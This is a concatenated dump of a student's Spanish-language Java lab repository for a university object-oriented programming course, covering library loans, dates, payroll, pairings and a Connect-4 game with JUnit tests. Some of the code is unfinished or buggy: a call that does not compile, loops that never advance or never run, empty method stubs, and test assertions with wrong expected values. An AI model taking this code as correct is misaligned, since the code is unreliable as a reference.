usuario2.anadirLibro(l1);
usuario2.anadirLibro(l2);
usuario2.anadirLibro(l3); //Mas del maximo luego el ultimo no se anade
usuario2.anadirLibro(l4);
usuario3.anadirLibro(l1); //Menos del maximo
assertTrue(usuario1.haAlcanzadoElMaximo());
assertTrue(usuario2.haAlcanzadoElMaximo());
assertFalse(usuario3.haAlcanzadoElMaximo());
}
@Test
public void testloTieneEnPrestamoYAnadirLibroYEliminar()
{
usuario1.anadirLibro(l1);
assertTrue(usuario1.loTieneEnPrestamo(l1));
usuario1.eliminarLibro(l1);
assertFalse(usuario1.loTieneEnPrestamo(l1));
}
@Test
public void testTieneEsteId()
{
assertTrue(l1.tieneEsteId(1));
assertFalse(l1.tieneEsteId(2));
assertTrue(l2.tieneEsteId(2));
assertFalse(l2.tieneEsteId(3));
assertTrue(l3.tieneEsteId(3));
assertFalse(l3.tieneEsteId(4));
assertTrue(l4.tieneEsteId(4));
assertFalse(l4.tieneEsteId(5));
}
@Test
public void testTieneMismoId()
{
l5=new Libro("El <NAME>", "<NAME>",4);
l6=new Libro("Rayuela", "<NAME>",3);
l7=new Libro("Paula", "<NAME>",2);
l8=new Libro("La <NAME>", "Sampedro",1);
assertTrue(l1.tieneElMismoId(l8));
assertFalse(l1.tieneElMismoId(l7));
assertTrue(l2.tieneElMismoId(l7));
assertFalse(l2.tieneElMismoId(l6));
assertTrue(l3.tieneElMismoId(l6));
assertFalse(l3.tieneElMismoId(l5));
assertTrue(l4.tieneElMismoId(l5));
assertFalse(l4.tieneElMismoId(l8));
}
@Test
public void testImprimir()
{
assertNotNull(usuario1);
System.out.println("\n===============================================================");
System.out.println("\nCaso de prueba del metodo imprimir de la clase Usuario (0 libros)");
System.out.println("\nLa informacion del usuario deberia mostrarse de este modo:\n");
System.out.println("ID: 1099: <NAME>");
System.out.println("---> No tiene libros en prestamo.");
System.out.println("\nY tu programa lo muestra de este modo:\n");
usuario1.imprimir();
System.out.println("\n===============================================================");
usuario1.anadirLibro(l1);
System.out.println("\nCaso de prueba del metodo imprimir de la clase Usuario (1 libro)");
System.out.println("\nLa informacion del usuario deberia mostrarse de este modo:\n");
System.out.println("ID: 1099: <NAME>");
System.out.println("---> Tiene el siguiente titulo en prestamo:");
System.out.println("* El Cuaderno Dorado, escrito por <NAME>.");
System.out.println("\nY tu programa lo muestra de este modo:\n");
usuario1.imprimir();
System.out.println("\n===============================================================");
usuario1.anadirLibro(l2);
System.out.println("\nCaso de prueba del metodo imprimir de la clase Usuario (2 o mas libros)");
System.out.println("\nLa informacion del usuario deberia mostrarse de este modo:\n");
System.out.println("ID: 1099: <NAME>");
System.out.println("---> Tiene los siguientes 2 titulos en prestamo:");
System.out.println("* El Cuaderno Dorado, escrito por <NAME>.");
System.out.println("* Rayuela, escrito por <NAME>.");
System.out.println("\nY tu programa lo muestra de este modo:\n");
usuario1.imprimir();
System.out.println("\n===============================================================");
}
}
<file_sep>/lab4/pruebas/packlaboratorio4/ListaOperacionesTest.java
package packlaboratorio4;
import static org.junit.Assert.*;
import org.junit.After;
import org.junit.Before;
import org.junit.Test;
public class ListaOperacionesTest {
ListaOperaciones lo1;
ListaClientes lc1;
Cliente c1,c2;
Operacion o1, o2;
@Before
public void setUp() throws Exception {
lo1=ListaOperaciones.getListaOperaciones();
lo1.anadirOperacion(1, 1, "A100", 25);
lo1.anadirOperacion(2, 2, "B100", 50);
lc1=ListaClientes.getListaClientes();
lc1.anadirCliente(1,"<NAME>", "A100",100,true);
lc1.anadirCliente(2,"<NAME>","B100",100,false);
}
@After
public void tearDown() throws Exception {
lo1.resetear();
lc1.resetear();
}
@Test
public void testGetListaOperaciones() {
assertEquals(ListaOperaciones.getListaOperaciones(),lo1);
}
@Test
public void testCantidadOperaciones() {
assertEquals(lo1.cantidadOperaciones(),2);
}
@Test
public void testAnadirOperacion() {
lo1.anadirOperacion(3, 3, "C100", 25);
assertEquals(lo1.cantidadOperaciones(),3);
}
@Test
public void testBuscarOperacionPorId() {
assertNotNull(lo1.buscarOperacionPorId(1));
assertNotNull(lo1.buscarOperacionPorId(10));
}
@Test
public void testRealizarOperaciones() {
o1=lo1.buscarOperacionPorId(1);
o1.realizarOperacion();
c1=lc1.buscarClientePorId(1);
assertEquals(c1.obtenerSaldo("A100"),75,0.1);
o1=lo1.buscarOperacionPorId(1);
o1.realizarOperacion();
c2=lc1.buscarClientePorId(2);
assertEquals(c2.obtenerSaldo("B100"),100,0.1);
o2=lo1.buscarOperacionPorId(2);
o2.realizarOperacion();
c2=lc1.buscarClientePorId(2);
assertEquals(c2.obtenerSaldo("B100"),45,0.1);
}
@Test
public void testResetear() {
lo1.resetear();
assertEquals(lo1.cantidadOperaciones(),0);
}
}
<file_sep>/lab5/src/packlaboratorio5/Catalogo.java
package packlaboratorio5;
import java.util.Scanner;
public class Catalogo
{
// atributos
private ListaLibros lista;
private static Catalogo miCatalogo=null;
private Scanner sc;
// constructora
private Catalogo()
{
this.lista=new ListaLibros();
}
public static Catalogo getCatalogo()
{
if (Catalogo.miCatalogo==null)
{
Catalogo.miCatalogo=new Catalogo();
System.out.println("La unica instancia del catalogo a sido creada con exito");
}
else
{
System.out.println("Se ha devuelto la unica instancia del catalogo");
}
return Catalogo.miCatalogo;
}
public int obtenerNumLibros()
{
return this.lista.obtenerNumLibros();
}
public Libro buscarLibroPorId(int pIdLibro)
{
return this.lista.buscarLibroPorId(pIdLibro);
}
public void prestarLibro(int pIdLibro, int pIdUsuario)
{
ListaUsuarios LU=ListaUsuarios.getListaUsuarios();
Usuario unUsuario=LU.buscarUsuarioPorId(pIdUsuario);
Libro unLibro=this.lista.buscarLibroPorId(pIdLibro);
if(!unUsuario.haAlcanzadoElMaximo())
{
if(LU.quienLoTienePrestado(unLibro)==null)
{
unUsuario.anadirLibro(unLibro);
System.out.println("El libro ha sido anadido a la lista del usuario correctamente");
}
else
{
System.out.println("El usuario no ha alcanzado el maximo pero el libro ya esta en prestamo");
}
}
else
{
System.out.println("El usuario no puede coger las libros prestados debido a que ha alcanzado el maximo");
}
}
public void devolverLibro(int pIdLibro)
{
ListaUsuarios LU=ListaUsuarios.getListaUsuarios();
Libro unLibro=this.lista.buscarLibroPorId(pIdLibro);
Usuario unUsuario=null;
boolean correcto=false;
try
{
unUsuario=LU.quienLoTienePrestado(unLibro);
correcto=true;
}
catch(IntentarDevolverUnLibro mee)
{
System.out.println("El libro,");
unLibro.imprimir();
System.out.println("no esta en prestamo en este momento luego no puede ser devuelto");
}
if(correcto)
{
unUsuario.eliminarLibro(unLibro);
System.out.println("El libro ha sido devuelto correctamente");
}
}
public void catalogarLibro(Libro pLibro)
{
boolean correcto=false;
int i=0;
do
{
try
{
this.lista.existeUnLibroConMismoId(pLibro);
correcto=true;
}
catch(CatalogarUnLibro mee)
{
System.out.println("Existe un libro catalogado con la misma ID, porfavor, introduce una nueva ID valida:");
int id=sc.nextInt();
i=i+1;
}
}
while(!correcto && i<3);
{
if(correcto)
{
this.lista.anadirLibro(pLibro);
}
else
{
System.out.println("No se ha agregado el libro al Catalogo");
}
}
}
public void descatalogarLibro(int pIdLibro)
{
ListaUsuarios LU=ListaUsuarios.getListaUsuarios();
Libro unLibro=this.lista.buscarLibroPorId(pIdLibro);
Usuario unUsuario=LU.quienLoTienePrestado(unLibro);
if(unUsuario==null)
{
this.lista.eliminarLibro(unLibro);
System.out.println("El libro ha sido descatalogado con exito");
}
else
{
System.out.println("El libro esta actualmente en prestamo y no puede ser descatalogado");
}
}
public void imprimir()
{
this.lista.imprimir();
}
public void resetear()
{
this.lista=new ListaLibros();
}
}<file_sep>/lab5/src/packlaboratorio5/DarDeBaja.java
package packlaboratorio5;
public class DarDeBaja extends Exception
{
public DarDeBaja()
{
super();
}
}<file_sep>/lab7/src/packlaboratorio7/Mujer.java
package packlaboratorio7;
public class Mujer extends Alumno
{
// constructora
public Mujer(String pDNI, String pNombre, String pApellido, int pEdad)
{
super(pDNI,pNombre,pApellido,pEdad);
}
//metodos
public int getEdad()
{
return super.getEdad();
}
/**
*
* @param pHombreDisponibles
* @return devuelve el primer Hombre de los que hay en la lista de preferencias
* de la mujer que se encuentre en la lista de alumnos pHombresDisponibles
* y que acepta a la mujer actual (esto es, la tiene entre sus propias
* preferencias).
* Si no existe tal hombre, se devuelve el objeto null.
* Si en la lista pHombresDisponibles se encuentra alguna mujer, se muestra
* un aviso por consola y se devuelve null.
*/
public Hombre emparejar(ListaAlumnos pHombreDisponibles)
{
ListaAlumnos listaPref=this.getListaPreferencias();
ListaAlumnos listaHomb=ListaAlumnosCurso.getListaAlumnosCurso().getsoloHombres();
Alumno unAlumno=null;
int i=0;
boolean encontrado=false;
while(i<listaHomb.obtenerNumeroAlumnos() && !encontrado)
{
unAlumno=listaHomb.getAlumnoEnPos(i);
if (listaPref.esta(unAlumno))
{
encontrado=true;
}
}
if (!encontrado)
{
unAlumno=null;
}
return (Hombre)unAlumno;
}
public void anadirPreferencia(Alumno pAlumno)
{
ListaAlumnos lista=getListaPreferencias();
if (pAlumno instanceof Hombre)
{
lista.anadirAlumno(pAlumno);
System.out.println("El hombre ha sido introducido exitosamente en la lista de preferencias a una mujer");
}
else
{
System.out.println("Has intentado introducir una mujer en la lista de preferencia de una mujer");
}
}
}
<file_sep>/lab1/src/lab1/Coche.java
package lab1;
public class Coche {
//atributos
private String matricula;
private String marcaModelo;
private Persona propietario;
//contructora
public Coche(String pMat,String pMarcaM)
{
this.matricula=pMat;
this.marcaModelo=pMarcaM;
this.propietario=null;
}
//metodo
public void cambiarDePropietario(Persona pPersona)
{
this.propietario=pPersona;
}
public boolean esElPropietario(Persona pPersona)
{
boolean prop=false;
if (this.propietario==pPersona)
{
prop=true;
}
return prop;
}
}<file_sep>/lab6/src/packlaboratorio6/ConceptoComplementoAsociado.java
package packlaboratorio6;
public class ConceptoComplementoAsociado extends ConceptoComplemento
{
//atributos
//constructora
public ConceptoComplementoAsociado()
{
}
//metodos
public double calcularConcepto(double pCantidadBruta, int pNumeroDeHoras, int pAnosTrabajados)
{
pCantidadBruta=pCantidadBruta - (pCantidadBruta*0.05);
pCantidadBruta=pCantidadBruta - 10;
pCantidadBruta=pCantidadBruta*(pAnosTrabajados/10);
return super.calcularConcepto(pCantidadBruta, pNumeroDeHoras, int pAnosTrabajados);
}
}
<file_sep>/lab3/pruebas/lab3/FechaTest.java
package lab3;
import static org.junit.Assert.*;
import org.junit.After;
import org.junit.Before;
import org.junit.Test;
public class FechaTest {
Fecha f0,f1,f2,f3,f4,f5,f6,f7,f8,f9,f10,f11,f12,f13,f14,f15,f16,f17,f18,f19,f20,f21,f22,f23,f24,f25,f26,f27,f28,f29,f30,f31,f32,f33,f34,f35,f36,f37,f38,f39,f40,f41,f42,f43,f44,f45,f46,f47,f48;
@Before
public void setUp() throws Exception {
//int pDia, int pMes, int pAnnio
//Para aumentar
f0 = new Fecha(32,12,1999);
f1 = new Fecha(31,12,1999);
f2 = new Fecha(29,2,2000);
f3 = new Fecha(28,2,1999);
f4 = new Fecha(30,1,2001);
f5 = new Fecha(31,1,2001);
f6 = new Fecha(30,3,2001);
f7 = new Fecha(31,3,2001);
f8 = new Fecha(29,4,2001);
f9 = new Fecha(30,4,2001);
f10 = new Fecha(30,5,2001);
f11 = new Fecha(31,5,2001);
f12 = new Fecha(29,6,2001);
f13 = new Fecha(30,6,2001);
f14 = new Fecha(30,7,2001);
f15 = new Fecha(31,7,2001);
f16 = new Fecha(30,8,2001);
f17 = new Fecha(31,8,2001);
f18 = new Fecha(29,9,2001);
f19 = new Fecha(30,9,2001);
f20 = new Fecha(30,10,2001);
f21 = new Fecha(31,10,2001);
f22 = new Fecha(29,11,2001);
f23 = new Fecha(30,11,2001);
f24 = new Fecha(30,12,2001);
//Para decrementar
f25 = new Fecha(1,1,2001);
f26 = new Fecha(1,3,2001);
f27 = new Fecha(1,3,2000);
f28 = new Fecha(2,1,2001);
f29 = new Fecha(1,2,2001);
f30 = new Fecha(2,2,2001);
f31 = new Fecha(1,4,2001);
f32 = new Fecha(2,4,2001);
f33 = new Fecha(1,5,2001);
f34 = new Fecha(2,5,2001);
f35 = new Fecha(1,6,2001);
f36 = new Fecha(2,6,2001);
f37 = new Fecha(1,7,2001);
f38 = new Fecha(2,7,2001);
f39 = new Fecha(1,8,2001);
f40 = new Fecha(2,8,2001);
f41 = new Fecha(1,9,2001);
f42 = new Fecha(2,9,2001);
f43 = new Fecha(1,10,2001);
f44 = new Fecha(2,10,2001);
f45 = new Fecha(1,11,2001);
f46 = new Fecha(2,11,2001);
f47 = new Fecha(1,12,2001);
f48 = new Fecha(2,12,2001);
}
@After
public void tearDown() throws Exception {
f0=null;
f1=null;
f2=null;
f3=null;
f4=null;
f5=null;
f6=null;
f7=null;
f8=null;
f9=null;
f10=null;
f11=null;
f12=null;
f13=null;
f14=null;
f15=null;
f16=null;
f17=null;
f18=null;
f19=null;
f20=null;
f21=null;
f22=null;
f23=null;
f24=null;
f25=null;
f26=null;
f27=null;
f28=null;
f29=null;
f30=null;
f31=null;
f32=null;
f33=null;
f34=null;
f35=null;
f36=null;
f37=null;
f38=null;
f39=null;
f40=null;
f41=null;
f42=null;
f43=null;
f44=null;
f45=null;
f46=null;
f47=null;
f48=null;
}
@Test
public void testFecha() {
assertNotNull(f0);
assertNotNull(f1);
assertNotNull(f2);
assertNotNull(f3);
assertNotNull(f4);
assertNotNull(f5);
assertNotNull(f6);
assertNotNull(f7);
assertNotNull(f8);
assertNotNull(f9);
assertNotNull(f10);
assertNotNull(f11);
assertNotNull(f12);
assertNotNull(f13);
assertNotNull(f14);
assertNotNull(f15);
assertNotNull(f16);
assertNotNull(f17);
assertNotNull(f18);
assertNotNull(f19);
assertNotNull(f20);
assertNotNull(f21);
assertNotNull(f22);
assertNotNull(f23);
assertNotNull(f24);
assertNotNull(f25);
assertNotNull(f26);
assertNotNull(f27);
assertNotNull(f28);
assertNotNull(f29);
assertNotNull(f30);
assertNotNull(f31);
assertNotNull(f32);
assertNotNull(f33);
assertNotNull(f34);
assertNotNull(f35);
assertNotNull(f36);
assertNotNull(f37);
assertNotNull(f38);
assertNotNull(f39);
assertNotNull(f40);
assertNotNull(f41);
assertNotNull(f42);
assertNotNull(f43);
assertNotNull(f44);
assertNotNull(f45);
assertNotNull(f46);
assertNotNull(f47);
assertNotNull(f48);
}
@Test
public void testToString() {
assertEquals(f1.toString(),"31/12/1999");
assertEquals(f2.toString(),"29/01/2001");
assertEquals(f3.toString(),"31/12/1999");
assertEquals(f4.toString(),"31/12/1999");
assertEquals(f5.toString(),"31/12/1999");
assertEquals(f6.toString(),"31/12/1999");
assertEquals(f7.toString(),"31/12/1999");
assertEquals(f8.toString(),"31/12/1999");
assertEquals(f9.toString(),"31/12/1999");
assertEquals(f10.toString(),"31/12/1999");
assertEquals(f11.toString(),"31/12/1999");
assertEquals(f12.toString(),"31/12/1999");
assertEquals(f13.toString(),"31/12/1999");
assertEquals(f14.toString(),"31/12/1999");
assertEquals(f15.toString(),"31/12/1999");
assertEquals(f16.toString(),"31/12/1999");
assertEquals(f17.toString(),"31/12/1999");
assertEquals(f18.toString(),"31/12/1999");
assertEquals(f19.toString(),"31/12/1999");
assertEquals(f20.toString(),"31/12/1999");
assertEquals(f21.toString(),"31/12/1999");
assertEquals(f22.toString(),"31/12/1999");
assertEquals(f23.toString(),"31/12/1999");
assertEquals(f24.toString(),"31/12/1999");
assertEquals(f25.toString(),"31/12/1999");
assertEquals(f26.toString(),"31/12/1999");
assertEquals(f27.toString(),"31/12/1999");
assertEquals(f28.toString(),"31/12/1999");
assertEquals(f29.toString(),"31/12/1999");
assertEquals(f30.toString(),"31/12/1999");
assertEquals(f31.toString(),"31/12/1999");
assertEquals(f32.toString(),"31/12/1999");
assertEquals(f33.toString(),"31/12/1999");
assertEquals(f34.toString(),"31/12/1999");
assertEquals(f35.toString(),"31/12/1999");
assertEquals(f36.toString(),"31/12/1999");
assertEquals(f37.toString(),"31/12/1999");
assertEquals(f38.toString(),"31/12/1999");
assertEquals(f39.toString(),"31/12/1999");
assertEquals(f40.toString(),"31/12/1999");
assertEquals(f41.toString(),"31/12/1999");
assertEquals(f42.toString(),"31/12/1999");
assertEquals(f43.toString(),"31/12/1999");
assertEquals(f44.toString(),"31/12/1999");
assertEquals(f45.toString(),"31/12/1999");
assertEquals(f46.toString(),"31/12/1999");
assertEquals(f47.toString(),"31/12/1999");
assertEquals(f48.toString(),"31/12/1999");
}
@Test
public void testincrementar() {
f1.incrementar();
assertEquals("01/01/2000",f1.toString()); //cambiar aņo
f2.incrementar();
assertEquals("01/03/2000",f2.toString()); //febrero bisiesti
f3.incrementar();
assertEquals("01/03/1999",f3.toString()); //febrero normal
f4.incrementar();
assertEquals("31/01/2001",f4.toString());
f5.incrementar();
assertEquals("01/02/2001",f5.toString());
f6.incrementar();
assertEquals("31/03/2001",f6.toString());
f7.incrementar();
assertEquals("01/04/2001",f7.toString());
f8.incrementar();
assertEquals("30/04/2001",f8.toString());
f9.incrementar();
assertEquals("01/05/2001",f9.toString());
f10.incrementar();
assertEquals("31/05/2001",f10.toString());
f11.incrementar();
assertEquals("01/06/2001",f11.toString());
f12.incrementar();
assertEquals("30/06/2001",f12.toString());
f13.incrementar();
assertEquals("01/07/2001",f13.toString());
f14.incrementar();
assertEquals("31/07/2001",f14.toString());
f15.incrementar();
assertEquals("01/08/2001",f15.toString());
f16.incrementar();
assertEquals("31/08/2001",f16.toString());
f17.incrementar();
assertEquals("01/09/2001",f17.toString());
f18.incrementar();
assertEquals("30/09/2001",f18.toString());
f19.incrementar();
assertEquals("01/10/2001",f19.toString());
f20.incrementar();
assertEquals("31/10/2001",f20.toString());
f21.incrementar();
assertEquals("01/11/2001",f21.toString());
f22.incrementar();
assertEquals("30/11/2001",f22.toString());
f23.incrementar();
assertEquals("01/12/2001",f23.toString());
f24.incrementar();
assertEquals("31/12/2001",f24.toString());
}
@Test
public void testdecrementar() {
f25.decrementar();
assertEquals("31/12/2000",f25.toString());
f26.decrementar();
assertEquals("28/02/2001",f26.toString());
f27.decrementar();
assertEquals("29/02/2000",f27.toString());
/////////////////////////////////////////
f28.decrementar();
assertEquals("01/01/2001",f28.toString());
f29.decrementar();
assertEquals("31/01/2001",f29.toString());
f30.decrementar();
assertEquals("01/02/2001",f30.toString());
f31.decrementar();
assertEquals("31/03/2001",f31.toString());
f32.decrementar();
assertEquals("01/04/2001",f32.toString());
f33.decrementar();
assertEquals("30/04/2001",f33.toString());
f34.decrementar();
assertEquals("01/05/2001",f34.toString());
f35.decrementar();
assertEquals("31/05/2001",f35.toString());
f36.decrementar();
assertEquals("01/06/2001",f36.toString());
f37.decrementar();
assertEquals("30/06/2001",f37.toString());
f38.decrementar();
assertEquals("01/07/2001",f38.toString());
f39.decrementar();
assertEquals("31/07/2001",f39.toString());
f40.decrementar();
assertEquals("01/08/2001",f40.toString());
f41.decrementar();
assertEquals("31/08/2001",f41.toString());
f42.decrementar();
assertEquals("01/09/2001",f42.toString());
f43.decrementar();
assertEquals("30/09/2001",f43.toString());
f44.decrementar();
assertEquals("01/10/2001",f44.toString());
f45.decrementar();
assertEquals("31/10/2001",f45.toString());
f46.decrementar();
assertEquals("01/11/2001",f46.toString());
f47.decrementar();
assertEquals("30/11/2001",f47.toString());
f48.decrementar();
assertEquals("01/12/2001",f48.toString());
}
}<file_sep>/lab7/src/packlaboratorio7/ListaParejas.java
package packlaboratorio7;
import java.util.*;
public class ListaParejas
{
// atributos
private ArrayList<Pareja> lista;
private static ListaParejas miListaParejas;
// constructora
private ListaParejas()
{
this.lista=new ArrayList<Pareja>();
}
//metdos
public static ListaParejas getListaParejas()
{
if(ListaParejas.miListaParejas==null)
{
ListaParejas.miListaParejas=new ListaParejas();
System.out.println("Creada la unica instancia del Lista de Parejas");
}
else
{
System.out.println("Se ha devuelto la unica instancia del Lista de Parejas");
}
return ListaParejas.miListaParejas;
}
private Iterator<Pareja> getIterador()
{
return this.lista.iterator();
}
public void anadirOrdenadoPareja(Pareja pPareja)
{
Iterator<Pareja> itr=this.getIterador();
Pareja unaPareja;
boolean encontrado=false;
int index=0;
while (itr.hasNext() && !encontrado)
{
unaPareja=itr.next();
if(pPareja.getElla().getEdad()<=unaPareja.getElla().getEdad())
{
this.lista.add(index,pPareja);
}
index=index+1;
}
}
public Alumno obtenerParejaDe(Alumno pAlumno)
{
Pareja unaPareja;
Alumno unAlumno=null;
Iterator<Pareja> itr=this.getIterador();
boolean encontrado=false;
while (itr.hasNext() && encontrado==true)
{
unaPareja=itr.next();
if(unaPareja.esta(pAlumno))
{
encontrado=true;
System.out.println("Se ha encontrado la pareja del alumno");
if(pAlumno instanceof Hombre)
{
unAlumno=(Alumno)unaPareja.getElla();
}
else
{
unAlumno=(Alumno)unaPareja.getEl();
}
}
}
if(encontrado==false)
{
unAlumno=null;
System.out.println("No se ha encontrado la pareja del alumno");
}
return unAlumno;
}
/**
* post: si ha sido posible, se han reajustado las parejas. Si no ha sido posible,
* la lista de parejas se ha dejado como al principio.
*
* Se utiliza una lista auxiliar para ir recolocando las parejas en orden descendente de
* edad de la mujer, y una lista con todos los hombres disponibles.
* Para cada mujer, se busca entre la lista de hombres disponibles uno con el que poder emparejarla
* hasta llegar al final de la lista (en cuyo caso se modifica la lista de parejas dejando en su
* lugar la lista de parejas auxiliar) o hasta encontrar una mujer que no se pueda emparejar (en
* cuyo caso el proceso termina, se muestra un aviso por pantalla y se deja la lista de parejas
* como estaba).
*
* (Ver el enunciado del ejercicio para más detalles sobre el algoritmo de reajuste de
* las parejas.)
*/
public void reajustarParejas()
{
ListaAlumnos listaHombres=this.generarListaSoloHombres();
if(listaHombres!=null)
{
}
}
private ListaAlumnos generarListaSoloHombres()
{
ListaAlumnosCurso listaCurso=ListaAlumnosCurso.getListaAlumnosCurso();
return listaCurso.getsoloHombres();
}
public void resetear()
{
this.lista=new ArrayList<Pareja>();
}
}
<file_sep>/lab3/src/lab3/IFecha.java
package lab3;
public interface IFecha
{
public abstract void incrementar();
public abstract void decrementar();
}
<file_sep>/lab6/src/packlaboratorio6/ListaConceptos.java
package packlaboratorio6;
import java.util.ArrayList;
import java.util.Iterator;
public class ListaConceptos
{
//atributos
private ArrayList<Concepto> lista;
//constructora
public ListaConceptos()
{
this.lista=new ArrayList<Concepto>();
}
//metodos
private Iterator<Concepto> getIterator()
{
return this.lista.iterator();
}
public void anadirConcepto(Concepto pConcep)
{
this.lista.add(pConcep);
}
public void eliminarConcepto(Concepto pConcep)
{
this.lista.remove(pConcep);
}
public int sumaConceptos(int pCantidadBruta, int NumeroDeHoras)
{
int acum=0;
Iterator<Concepto> itr= this.getIterator();
while(itr.hasNext())
{
}
return acum;
}
}<file_sep>/PMOO_CONECTA4_FINAL/test/PersonaTest.java
import static org.junit.Assert.*;
import org.junit.After;
import org.junit.Before;
import org.junit.Test;
public class PersonaTest {
Persona p1,p2;
@Before
public void setUp() throws Exception {
p1= new Persona("Juan");
p2=new Persona("Maria");
}
@After
public void tearDown() throws Exception {
p1=null;
p2=null;
}
@Test
public void testPersona() {
assertNotNull(p1);
assertNotNull(p2);
}
@Test
public void testSetPuntuacion() {
p1.setPuntuacion(45);
assertEquals(p1.getPuntuacion(),45);
}
@Test
public void testGetPuntuacion() {
p1.setPuntuacion(45);
assertEquals(p1.getPuntuacion(),45);
}
@Test
public void testGetNombre() {
assertEquals(p1.getNombre(),"Juan");
assertNotEquals(p1.getNombre(),"Maria");
}
@Test
public void testJugar() {
Tablero.getTablero().ocuparCasilla(p1, Integer.parseInt(Teclado.getTeclado().insertarFicha()));
}
@Test
public void testAumentarPuntuacion(){
assertEquals(p1.getPuntuacion(),0);
p1.aumentarPuntuacion();
assertEquals(p1.getPuntuacion(),1);
}
}
<file_sep>/PMOO_CONECTA4_FINAL/src/Main.java
import java.io.IOException;
public class Main {
public static void main(String[] args) {
// TODO Auto-generated method stub
try {
ManejadorFicheros fh = ManejadorFicheros.getManejadorFicheros();
fh.abrirFlujoLectura();
fh.leerFichero();
fh.cerrarFlujoLectura();
} catch (IOException e) {
System.err.println("Error leyendo fichero");
}
Conecta4.getMiConecta4().jugar();
try {
ManejadorFicheros fh= ManejadorFicheros.getManejadorFicheros();
fh.abrirFlujoEscritura();
fh.escribirFichero();
fh.cerrarFlujoEscritura();
} catch (IOException e) {
System.err.println("Error escribiendo fichero");
}
}
}
<file_sep>/README.md
# PMOO
En este repositorio encontrareis todas las prácticas de laboratorio echas por mí, <NAME>, en las clases de la asignatura programacion modular orientada a objetos en la carrera de ingeniería informática de gestión y sistemas de información en la universidad UPV EHU.
<file_sep>/PMOO_CONECTA4_FINAL/src/ControlJuego.java
import java.util.ArrayList;
import java.util.Iterator;
public class ControlJuego {
private Persona ganador;
private ArrayList<Persona> participantes;
/**
* Constructor principal
*/
public ControlJuego() {
participantes=new ArrayList<Persona>();
}
/**
* Obtiene el número de participantes en la actual partida
* @return Número de participantes
*/
public int getNumParticipantes() {
return this.participantes.size();
}
/**
* Configura el juego individual (Contra Inteligencia Artificial)
*/
public void jugarIndividual() {
boolean finDelJuego=false;
while (!finDelJuego) {
int turno=1;
Iterator<Persona> itr=this.getIterador();
Jugador jugador1= itr.next();
Persona juega1=(Persona)jugador1;
IA juega2=new IA();
int i=1;
Persona ganador1= null;
IA ganador2=null;
while(turno < 41 && ganador1==null && ganador2==null) {
Tablero.getTablero().imprimirTablero();
if(turno==1){
juega1.jugar();
turno++;
i=2;
}else {
if(i==1){
juega1.jugar();
i=2;
turno++;
}else{
juega2.jugar();
i=1;
turno++;
}
if(Tablero.getTablero().hayGanador()) {
if(i==1){
ganador2=juega2;//IA gana
}else{
ganador1=juega1;
this.ganador=juega1;
}
}
}
}
if (ganador==null) {
System.out.println("No hay ganador");
}
else {
Tablero.getTablero().imprimirTablero();
System.out.println("");
if(ganador1!=null) {
System.out.println("El ganador es el jugador: " + ganador1.escribirNombre());
}else if(ganador2!=null){
System.out.println("El ganador es el jugador: " + ganador2.escribirNombre());
}else{
System.out.println("Se acabo la partida! Se agotaron los turnos");
}
Ranking rk = Ranking.getMiRanking();
if(rk.getJugador(ganador.escribirNombre())!=null) {
Persona ganadorEnLista=(Persona)rk.getJugador(this.ganador.escribirNombre());
Persona ganadorAgregar=new Persona(ganadorEnLista.escribirNombre());
ganadorAgregar.setPuntuacion(ganadorEnLista.getPuntuacion()+1);
rk.eliminarJugador(ganadorEnLista);
rk.anadirJugador(ganadorAgregar);
}else {
ganador.setPuntuacion(1);
rk.anadirJugador(this.ganador);
}
}
System.out.println("----------------------------------------");
System.out.println("�Quieres jugar otra partida?");
System.out.println("Pulsa 1 para jugar otra partida");
System.out.println("Pulsa 2 para volver al menu principal");
System.out.println("Pulsa cualquier otro boton para salir del juego");
String entrada=Teclado.getTeclado().leer2Personas();
if (entrada.equals("1")) {
Tablero.getTablero().resetear();
System.out.println("----------------------------------------");
System.out.println("Iniciando una nueva partida...");
try {
Thread.sleep(3*1000);
} catch (Exception e) {
System.out.println(e);
}
this.jugarIndividual();
finDelJuego=true;
System.out.println("----------------------------------------");
}else if(entrada.equals("2")){
finDelJuego=true;
Tablero.getTablero().resetear();
Conecta4.getMiConecta4().jugar();
}
else {
System.out.println("Has salido del juego");
finDelJuego=true;
}
}
}
/**
* Modo de juego multijugador
*/
public void jugarDosPersonas() {
boolean finDelJuego=false;
while (!finDelJuego) {
int turno=1;
Iterator<Persona> itr=this.getIterador();
Persona jugador1= itr.next();
Persona jugador2= itr.next();
Persona juega=null;
Persona ganador= null;
juega=(Persona)jugador1;
while(turno < 41 && ganador==null) {
Tablero.getTablero().imprimirTablero();
if(turno==1){
((Persona) juega).jugar();
turno++;
juega=jugador2;
}else {
((Persona)juega).jugar();
turno++;
if(Tablero.getTablero().hayGanador()) {
ganador=juega;
this.ganador=(Persona)juega;
}
else if(juega==jugador1) {
juega=jugador2;
}else {
juega=jugador1;
}
}
}
if (ganador==null) {
System.out.println("Se acabo la partida! Se agotaron los turnos");
}
else {
Tablero.getTablero().imprimirTablero();
System.out.println("");
System.out.println("El ganador es el jugador: "+ganador.escribirNombre());
Ranking rk = Ranking.getMiRanking();
if(rk.getJugador(this.ganador.escribirNombre())!=null) {
Persona ganadorEnLista=(Persona)rk.getJugador(this.ganador.escribirNombre());
Persona ganadorDefinitivo = new Persona(ganadorEnLista.escribirNombre());
ganadorDefinitivo.setPuntuacion(ganadorEnLista.getPuntuacion()+1);
rk.eliminarJugador(ganadorEnLista);
rk.anadirJugador(ganadorDefinitivo);
}else {
Persona ganadorDef=new Persona(ganador.escribirNombre());
ganadorDef.setPuntuacion(1);
rk.anadirJugador(ganadorDef);
}
}
System.out.println("----------------------------------------");
System.out.println("�Quieres jugar otra partida?");
System.out.println("Pulsa 1 para jugar otra partida");
System.out.println("Pulsa 2 para volver al menu principal");
System.out.println("Pulsa cualquier otro boton para salir del juego");
String entrada=Teclado.getTeclado().leer2Personas();
System.err.println("ENTRADA ES "+entrada);
if (entrada.equals("1")) {
Tablero.getTablero().resetear();
System.out.println("----------------------------------------");
System.out.println("Iniciando una nueva partida...");
try {
Thread.sleep(3*1000);
} catch (Exception e) {
System.out.println(e);
}
this.jugarDosPersonas();
finDelJuego=true;
System.out.println("----------------------------------------");
}else if(entrada.equals("2")){
finDelJuego=true;
Tablero.getTablero().resetear();
Conecta4.getMiConecta4().jugar();
}
else {
System.out.println("Has salido del juego");
finDelJuego=true;
}
}
}
/**
* Iterador de participantes
* @return Iterador
*/
private Iterator<Persona> getIterador() {
// TODO Auto-generated method stub
return this.participantes.iterator();
}
/**
* Agrega un jugador a la partida
* @param pParticipante Jugador agregado
*/
public void agregarParticipante(Persona pParticipante) {
